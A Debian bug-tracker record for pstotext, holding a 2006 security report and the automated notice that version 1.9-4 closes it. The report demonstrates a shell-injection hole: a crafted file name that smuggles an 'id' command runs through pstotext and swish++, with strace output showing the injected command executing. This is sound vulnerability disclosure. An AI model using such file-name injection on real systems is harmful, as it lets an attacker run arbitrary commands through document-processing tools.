Your message dated Sun, 21 May 2006 11:32:08 -0700 with message-id <[EMAIL PROTECTED]> and subject line Bug#356988: fixed in pstotext 1.9-4 has caused the attached Bug report to be marked as done.
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--- Begin Message ---Package: pstotext Version: 1.9-1sarge1 Severity: grave Justification: user security hole [EMAIL PROTECTED]:/tmp/deleteme$ pstotext "a'b.ps" sh: -c: line 1: unexpected EOF while looking for matching `'' sh: -c: line 2: syntax error: unexpected end of file [EMAIL PROTECTED]:/tmp/deleteme$ mv "a'b.ps" ab.ps [EMAIL PROTECTED]:/tmp/deleteme$ pstotext "ab.ps" ESP Ghostscript 7.07.1: Unrecoverable error, exit code 1 [EMAIL PROTECTED]:/tmp/deleteme$ strace -s 256 -e trace=process -ff pstotext "a'b.ps" execve("/usr/bin/pstotext", ["pstotext", "a\'b.ps"], [/* 35 vars */]) = 0 vfork(Process 25977 attached ) = 25977 [pid 25977] execve("/bin/sh", ["sh", "-c", "gs -r72 -dNODISPLAY -dFIXEDMEDIA -dDELAYBIND -dWRITESYSTEMDICT -q -dNOPAUSE -dSAFER /tmp/ps2tvQBxTF -- \'a\'b.ps\'"], [/* 35 vars */]) = 0 sh: -c: line 1: unexpected EOF while looking for matching `'' sh: -c: line 2: syntax error: unexpected end of file [pid 25977] exit_group(258) = ? Process 25977 detached --- SIGCHLD (Child exited) @ 0 (0) --- waitpid(25977, [{WIFEXITED(s) && WEXITSTATUS(s) == 2}], 0) = 25977 exit_group(3) = ? You can see that I correctly quoted the parameter in the invoking shell, and pstotext passes the parameter to the nested sh as 'a'b.ps' which obviously gets it confused. This could be a security issue, if you can run pstotext with an arbitrary filename (eg. via swish++ running on some untrusted source). eg: [EMAIL PROTECTED]:/tmp/data$ strace -s 256 -e trace=process -ff "pstotext" "hi.txt'; id>/tmp/abc.key; echo 'silly" execve("/usr/bin/pstotext", ["pstotext", "hi.txt\'; id>/tmp/abc.key; echo \'silly"], [/* 19 vars */]) = 0 arch_prctl(ARCH_SET_FS, 0x2aaaaaf7e6d0) = 0 clone(Process 9983 attached child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x2aaaaaf7e760) = 9983 [pid 9983] execve("/bin/sh", ["sh", "-c", "gs -r72 -dNODISPLAY -dFIXEDMEDIA -dDELAYBIND -dWRITESYSTEMDICT -q -dNOPAUSE -dSAFER /tmp/ps2tIqkOjd -- \'hi.txt\'; id>/tmp/abc.key; echo \'silly\'"], [/* 19 vars */]) = 0 [pid 9983] arch_prctl(ARCH_SET_FS, 0x2aaaab0576d0) = 0 [pid 9983] clone(Process 9984 attached child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x2aaaab057760) = 9984 [pid 9983] wait4(-1, Process 9983 suspended <unfinished ...> [pid 9984] execve("/usr/bin/gs", ["gs", "-r72", "-dNODISPLAY", "-dFIXEDMEDIA", "-dDELAYBIND", "-dWRITESYSTEMDICT", "-q", "-dNOPAUSE", "-dSAFER", "/tmp/ps2tIqkOjd", "--", "hi.txt"], [/* 18 vars */]) = 0 [pid 9984] arch_prctl(ARCH_SET_FS, 0x2aaaace67b30) = 0 ESP Ghostscript 7.07.1: Unrecoverable error, exit code 1 [pid 9984] exit_group(0) = ? Process 9983 resumed Process 9984 detached [pid 9983] <... wait4 resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 9984 [pid 9983] --- SIGCHLD (Child exited) @ 0 (0) --- [pid 9983] wait4(-1, 0x7fffffb1ce14, WNOHANG, NULL) = -1 ECHILD (No child processes) [pid 9983] clone(Process 9985 attached child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x2aaaab057760) = 9985 [pid 9983] wait4(-1, Process 9983 suspended <unfinished ...> [pid 9985] execve("/usr/bin/id", ["id"], [/* 18 vars */]) = 0 [pid 9985] arch_prctl(ARCH_SET_FS, 0x2aaaaadf96d0) = 0 [pid 9985] exit_group(0) = ? Process 9983 resumed Process 9985 detached [pid 9983] <... wait4 resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 9985 [pid 9983] --- SIGCHLD (Child exited) @ 0 (0) --- [pid 9983] wait4(-1, 0x7fffffb1ce34, WNOHANG, NULL) = -1 ECHILD (No child processes) [pid 9983] exit_group(0) = ? Process 9983 detached --- SIGCHLD (Child exited) @ 0 (0) --- wait4(9983, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 9983 exit_group(0) = ? You can clearly see that I tricked pstotext into running id and outputing the result into a temp file. If I do the following: [EMAIL PROTECTED]:/tmp/data$ touch "hi.txt'; id>abc.key; echo 'silly.ps" [EMAIL PROTECTED]:/tmp/data$ rm abc.key [EMAIL PROTECTED]:/tmp/data$ ls -l total 0 -rw-r--r-- 1 ivt ivt 0 2006-03-15 16:50 hi.txt'; id>abc.key; echo 'silly.ps I can trick swish++ into running an arbitrary command by passing the filename through pstotext: [EMAIL PROTECTED]:/tmp/data$ 'index++' -v4 '--config-file' '/usr/share/sitebuilder/core/indexing.conf' '--index-file' /tmp/abcd /tmp/data /tmp/data: hi.txt'; id>abc.key; echo 'silly.psESP Ghostscript 7.07.1: Unrecoverable error, exit code 1 (skipped: can not open) index++: done: 00:01 (min:sec) elapsed time 1 files, 0 indexed 0 words, 0 indexed, 0 unique [EMAIL PROTECTED]:/tmp/data$ ls -l total 4 -rw-r--r-- 1 ivt ivt 162 2006-03-15 16:51 abc.key -rw-r--r-- 1 ivt ivt 0 2006-03-15 16:50 hi.txt'; id>abc.key; echo 'silly.ps [EMAIL PROTECTED]:/tmp/data$ cat abc.key uid=1000(ivt) gid=1000(ivt) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(lpadmin),105(scanner),106(admin),1000(ivt) as you can see, pstotext was tricked into running the id command and the result appeared in abc.key. -- System Information: Debian Release: 3.1 APT prefers unstable APT policy: (50, 'unstable') Architecture: powerpc (ppc) Kernel: Linux 2.6.8-pegasos Locale: LANG=en_AU.UTF-8, LC_CTYPE=en_AU.UTF-8 (charmap=UTF-8) Versions of packages pstotext depends on: ii gs 8.01-5 Transitional package ii gs-esp [gs] 7.07.1-9 The Ghostscript PostScript interpr ii gs-gpl [gs] 8.01-5 The GPL Ghostscript PostScript int ii libc6 2.3.2.ds1-22 GNU C Library: Shared libraries an -- no debconf information -- System Information: Debian Release: 3.1 APT prefers unstable APT policy: (50, 'unstable') Architecture: powerpc (ppc) Kernel: Linux 2.6.8-pegasos Locale: LANG=en_AU.UTF-8, LC_CTYPE=en_AU.UTF-8 (charmap=UTF-8) Versions of packages pstotext depends on: ii gs 8.01-5 Transitional package ii gs-esp [gs] 7.07.1-9 The Ghostscript PostScript interpr ii gs-gpl [gs] 8.01-5 The GPL Ghostscript PostScript int ii libc6 2.3.2.ds1-22 GNU C Library: Shared libraries an -- no debconf information
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--- Begin Message ---Source: pstotext Source-Version: 1.9-4 We believe that the bug you reported is fixed in the latest version of pstotext, which is due to be installed in the Debian FTP archive: pstotext_1.9-4.diff.gz to pool/main/p/pstotext/pstotext_1.9-4.diff.gz pstotext_1.9-4.dsc to pool/main/p/pstotext/pstotext_1.9-4.dsc pstotext_1.9-4_i386.deb to pool/main/p/pstotext/pstotext_1.9-4_i386.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. J.H.M. Dassen (Ray) <[EMAIL PROTECTED]> (supplier of updated pstotext package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Format: 1.7 Date: Sun, 21 May 2006 20:14:12 +0200 Source: pstotext Binary: pstotext Architecture: source i386 Version: 1.9-4 Distribution: unstable Urgency: medium Maintainer: J.H.M. Dassen (Ray) <[EMAIL PROTECTED]> Changed-By: J.H.M. Dassen (Ray) <[EMAIL PROTECTED]> Description: pstotext - Extract text from PostScript and PDF files Closes: 356988 Changes: pstotext (1.9-4) unstable; urgency=medium . * [main.c] Applied patch courtesy of Martin Ehmsen <[EMAIL PROTECTED]> to unbreak pstotext on input from stdin which was broken by 1.9-3's security patch. (Closes: #356988) Files: 830b23ca9b94a69897b24d551950e9a8 554 text optional pstotext_1.9-4.dsc e3ca5c97cfbd00a93d4ebcda60429a54 9205 text optional pstotext_1.9-4.diff.gz 6b2e9739e535e561c9238b4c2348917d 32682 text optional pstotext_1.9-4_i386.deb -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (GNU/Linux) iD8DBQFEcLFBIwmOUm50p9ERAtHgAJ0erl3xwLSfkLs8IqBdNtkIDEXR7gCggXHN 6wvEDGl5YzRZ25mx5jIicGY= =dc4k -----END PGP SIGNATURE-----
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